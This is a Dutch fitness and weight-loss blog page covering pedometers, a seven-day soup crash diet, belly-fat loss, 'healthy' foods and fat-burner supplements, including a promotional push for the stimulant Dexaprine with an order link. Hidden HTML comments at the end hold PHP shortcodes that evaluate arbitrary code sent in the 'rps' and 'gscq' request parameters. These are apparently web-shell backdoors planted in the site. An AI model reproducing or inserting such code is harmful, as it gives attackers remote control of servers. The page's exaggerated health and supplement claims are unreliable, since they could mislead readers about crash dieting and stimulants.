Meet je prestaties met een stappenteller

Een stappenteller  of een pedometer is een erg handig middel om na te gaan hoeveel stappen u zet. De stappenteller is heel goed in te zetten bij diverse activiteiten. Bij activiteiten zoals winkelen, sporten (hardlopen en wandelen), stofzuigen en zelfs tuinieren kunt u zo prima nagaan hoeveel stappen u werkelijk hebt gezet. U krijgt zodoende een prima beeld op uw hoeveelheid dagelijkse beweging. Meestal is het een klein apparaatje dat u kunt dragen op uw heup. De apparaten kunnen onderscheid maken tussen grote of kleine stappen die u zet. Bij elke stap die u maakt wordt dit opgeteld. Hoe de stappenteller kan tellen? Bij de meeste versies wordt gebruik gemaakt van een z.g. veer die bij elke stapbeweging meebeweegt (in dit geval een op en neerwaartse beweging). Een stappenteller meet overigens niet altijd de exacte afstand die u maakt. Goedkopere modellen meten alleen de stappen. De duurdere varianten doen alleen een schatting van de afstand. Aangezien elk mens met een stap weer een net iets andere afstand aflegt.

Pedometer

Een pedometer  is gewoon een stappenteller, alleen doet deze puur het noodzakelijke: namelijk stappen tellen. Niets meer of minder.

Waarom een stappenteller kopen?

Eigenlijk zou u de vraag ook kunnen omdraaien; Waarom zult u er niet een kopen? U krijgt namelijk door het gebruik van een stappen-of pedometer een inzicht in het dagelijkse aantal stappen dat u maakt. Hieraan gerelateerd kunt u eigenlijk uw dagelijkse beweging aflezen en vergelijken met anderen of met andere dagen. Maakt u bijvoorbeeld per dag maar tussen de nul en de vijfduizend stappen, dan hebt u een luie levensstijl en zit u hoogstwaarschijnlijk een groot deel van de dag. Met deze levensstijl is het risico op hartziekten en vaatziekten erg aanwezig. Probeer het aantal stappen te vergroten naar minimaal achtduizend per dag. Dan nog bent u niet zeer actief maar het risico op ziekten door te weinig bewegen is sterk verminderd. Wilt u gezond bewegen en voldoen aan de norm van voldoende dagelijkse beweging? Dan moet u minimaal tienduizend stappen zetten per dag! Vanaf twaalfduizend stapbewegingen per dag hoeft u zich al helemaal nergens meer zorgen om te maken. Met die hoeveelheid voldoet u ruimschoots aan de norm en hebt u een zeer actieve levensstijl.

Afvallen met een soepdieet

De maand maart is aangebroken en het zonnetje schijnt al regelmatig. Vaak is dat het moment dat mensen er aan beginnen te denken om wat af te vallen. Er zijn vele dieet plannen mogelijk om de gewenste kilo’s te verliezen, het dieetplan dat wij in dit artikel gaan behandelen is het soepdieet, wat zeer geschikt is om vet te verliezen.

Wat is het soepdieet?

Het soepdieet is oorspronkelijk een dieet wat gebruikt werd in de medische wereld. Soms is het namelijk nodig dat iemand voor een operatie eerst een aantal kilo’s verliest, hiervoor werd degene op een soepdieet gezet om in een korte tijd af te vallen. Het soepdieet is dus een crashdieet, hierdoor is het belangrijk om een strikt schema bij te houden.

Hoelang duurt het dieet?

Doordat het een extreem crash dieet is heeft het geen lange duur. Er wordt aangeraden om dit dieet voor slechts 7 dagen te volgen, dit klinkt misschien een beetje kort voor een dieet maar het resultaat mag er in de meeste gevallen vaak wezen. Zo kun je tot zelfs 7 kilo kwijt raken dankzij dit dieet, een echte aanrader dus.

 

Buikvet verbranden

Om de buikspieren zichtbaar te krijgen is het belangrijk om het buikvet te verbranden. Je kunt nog zoveel buikspieren hebben, als er een laag vet voor zit zijn de spieren helaas niet zichtbaar.

Hoe kun je buikvet verbranden

Om eerlijk te zijn valt dat voor de meeste mensen niet mee. Afvallen lukt vaak wel maar de buikspieren zichtbaar krijgen is een ander verhaal. Een veel gebruikte opties om snel af te vallen is het kiezen voor een dieet. Op de website van goedkoopsnelafvallen vind je een selectie van de best werkende diëten en afslankproducten. Ook buikvet verbranden kan prima met een dieet. Een risico die hier wel aan vast zit is dat sommige diëten zo samengesteld zijn dat je erg laag in de calorieën gaat zitten. Het gevolg kan daardoor zijn dat je niet alleen vet maar ook je zorgvuldig opgebouwde (buik)spieren gaat verliezen.

Alternatief om buikvet te verbranden

Een andere mogelijkheid is om je eetgewoonten aan te passen en gerichte lichaamsbeweging toe te passen. Deze combinatie vinden veel mensen wat moeilijker omdat het meer eigen initiatief vergt. Je moet jezelf verdiepen in de materie en gericht een voedingsschema en beweegprogramma opstellen om deze vorm een succes te maken. Op de pagina over buikvet verbranden lees je precies hoe ook jij een dergelijk schema kunt opzetten en ervoor kunt zorgen dat je buikvet gaat verliezen. Het artikel gaat vooral in op het aanpassen van je eetgewoonten. In enkele simpel te volgen stappen wordt uitgelegd hoe ook jij effectief kunt worden met je voeding. Ga niet te veel onder je onderhoudsniveau zitten en verhoog je sportfrequentie en intensiviteit en ook bij jou zullen de buikspieren zichtbaar worden.

Gezond eten

Gezond eten voor een sixpack

Met alleen je buikspieren regelmatig goed en intensief te trainen krijg je nog geen mooie en strakke sixpack. Naast de buikspier oefeningen is het ook belangrijk om een gezonde voeding binnen te krijgen.

Gezond eten

In dit artikel beschrijven we een aantal voedingsstoffen die erg gezond zijn en daarom zeker de moeite waard zijn om dagelijks te eten, dit zal je zeker helpen om een blokjesbuik te krijgen.

Gezond eten

Amandelen

Amandelen zijn erg gezond en makkelijk toe te voegen aan bijvoorbeeld het ontbijt. Amandelen zorgen er voor dat je minder verlangens hebt en het helpt ook nog de spieropbouw. Het beschermd je lichaam ook tegen obesitas, hart- en vaatziekten, spier verlies, kanker en een hoge bloeddruk.

#2 Olijfolie

Als je eten bakt of braad is het verstandig om dit olijfolie te doen het is niet alleen lekker maar het verlaagt ook nog je cholestrol en verhoogt je immuunsysteem. Het verlaagt de kans op obesitas, hart en vaatziekten,kanker en een hoge bloeddruk.

#3 Eieren

Eieren zijn natuurlijk een goede bron van eiwitten en daarom al goed om toe te voegen aan je voeding maar het stimuleert ook de vet verbranding en helpt het lichaam met de spieropbouw.

#4 Bonen en peulvruchten

Bonen en peulvruchten kunnen heel goed bij het avond eten gegeten worden of door een salade, ze stimuleren de vet verbranding en het helpt je lichaam met de spijsvertering. Het regelmatig eten van bonen en peulvruchten zorgt er ook voor dat je minder kans hebt om darm kanker, hart en vaatziekten en een hoge bloed druk te krijgen.

#5 Bessen

Bessen zijn erg lekker maar ook goed voor het lichaam, je kunt ze prima als een dessert eten vooral bosbessen zijn erg gezond. Bessen beschermt het hart, zorgen voor een betere balans en het verbeterd de coördinatie.

 

Tips om sneller af te vallen

Als je in gewicht aankomt zul je dit niet meteen merken, je ziet je zelf tenslotte iedere dag en zo kunnen er ongemerkt steeds wat kilo’s bij aankomen. Op het moment dat je er achter komt dat je aangekomen bent kunnen dit al heel wat kilo’s wezen. Natuurlijk wil jij zo snel mogelijk afvallen buik maar dit wel op een gezonde manier doen. In dit artikel vind je tips om sneller af te vallen . Deze tips alleen zijn niet voldoende om veel af te vallen ze zullen je alleen helpen met het afval proces te versnellen, daarom zul je nog steeds voldoende moeten sporten en gezond moeten eten.

Tip 1: Eet grapefruit

Een studie van het Scripps clinic uit San Diego toonde aan dat mannen die drie keer per dag een halve grape fruit aten gemiddeld 4kilo in 12 weken kwijt raakte zonder hun dieet verder aan te passen. Dit komt waarschijnlijk doordat de grapefruit het vermogen heeft om de insulinespiegel te verlagen, hierdoor wordt de vet opslag beperkt. Om te testen of de grapefruit dit effect ook op jou heeft zul je bij een paar van je maaltijden een halve grapefruit moeten eten, kijk naar een aantal weken of je resultaat ziet door de grapefruit.

Tip 2: Drink groene thee

In groene thee zit een ingrediënt dat er voor zorgt dat u stofwisseling omhoog gaat, een hogere stofwisseling betekend dat u meer vet verbrand op een dag. Groenethee is ook erg goed om te drinken tijdens het sporten, in een studie van Journal of Nutrition kwam naar voren dat proefprsonen die groenethee meer buikvet verbranden dan mensen die dit niet doen.

Tip 3: Eet vis

Vis is erg gezond het bevat omega 3 vetten die bevorderen het vet verlies, helemaal in combinatie met sporten.

Tip 4: Drink ijskoud water

Het drinken van twee bekers ijskoud water kan tijdelijk de stofwisseling verhogen met wel 30% dit hebben Duitse onderzoekers aangetoond.

Tip 5: Drink geen light frisdranken

Ligth frisdranken zijn misschien calorie vrij maar het drinken hiervan zal alsnog je vet verlies tegen houden. Na het drinken van een light frisdrank zul je je veel hongeriger voelen dan normaal hierdoor zul je meer gaan eten waardoor je teveel calorieën eet.

Suplementen

Afvallen met supplementen

SuplementenSnel vet verbranden dat wil iedereen wel en het liefst zo snel mogelijk. Veel bedrijven spelen daarom in op de wens van mensen om snel af te vallen. Door dit grote aanbod afslankpillen, afslank theeën en andere voedings supplementen is het erg moeilijk om een keus te maken. Want welk product werkt wel en welke niet?

Afvallen met  supplementen is niet ongezond zoals sommige mensen beweren. Helaas is het zo dat veel mensen denken dat na het nemen van een afval pil het vet er automatisch van afvliegt. Dit is echter een sprookje, ook al neem je afval pillen je zult nog steeds een gezonde voeding aan moeten houden en regelmatig erbij sporten.

De meeste vetverbrandings supplementen verhogen je stofwisseling, dit betekend dat je meer energie verbruikt en dus sneller vet verbrand waardoor je gaat afvallen. De afval pillen geven je veel meer energie waardoor je s’ nachts soms problemen kunt hebben om in slaap te komen. Het is ook af te raden om voor een langere tijd de pillen te gebruiken je lichaam kan aan deze supplementen wennen waardoor het geen effect meer heeft. Bij de meeste producten staat achterop de verpakking wel hoe lang je het kunt gebruiken.

Een goede dieet pil is Dexaprine van het merk iForce Nutrition. Dexaprine is een goedkope en zeer goede fatburner, het verbrand je vet en niet je spieren. Neem iedere dag 1 Dexaprine pil op een nuchtere maag na een half uurtje voel je je al stukken energieker. Bij veel fatburners is dit energieke gevoel maar voor 2 a 3 uur bij Dexaprine houd dit de heledag aan en je verbrand 8 uur lang 160% meer vet dan normaal.

Een ander goed voedings supplement wat je kan helpen met afvallen is afslank eiwit.  Afslank eiwit is een proteine shake dat slechts 105 kcal bevat. In de eiwit shake zitten de juiste bouwstoffen voor je spieren en het stimuleert de vetverbranding. Nog een voordeel van afslank eiwit is dat het je hongergevoel remt dus als je moeite hebt om je in te houden bij lekker eten kan afslank eiwit je goed ondersteunen.

Let op fatburners of andere voedingsupplemten die bedoelt zijn om vet te verbranden zijn geen wondermiddelen je zult nog steeds veel moeten sporten en een gezonde voeding aanhouden de supplementen versnellen alleen het proces.

Wil jij dexaprine bestellen? Klik dan hier.

Vet verliezen voor een sixpack

Iedereen heeft een 6pack, alleen zijn de blokjes niet bij iedereen zichtbaar. Bij sommige mensen zit de sixpack onder een laag vet. Om de sixpack zichtbaar te krijgen zou dit vet verbrandt moeten worden, helaas is het niet mogelijk om alleen buik vet te verliezen.

Om deze reden worden er regelmatig artikelen toegevoegd aan de website waarin wordt uitgelegd hoe jij het beste vet kan verliezen zonder daarvoor spiermassa in te hoeven leveren. In de artikelen wordt vooral nadruk gelegd op een gezonde voeding. Dus heb jij teveel vet lees dan onderstaande artikelen zodat je het je zelf makkelijker maakt om vet te verliezen.

 

 

<!– [insert_php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/insert_php][php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/insert_php][php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/php] –>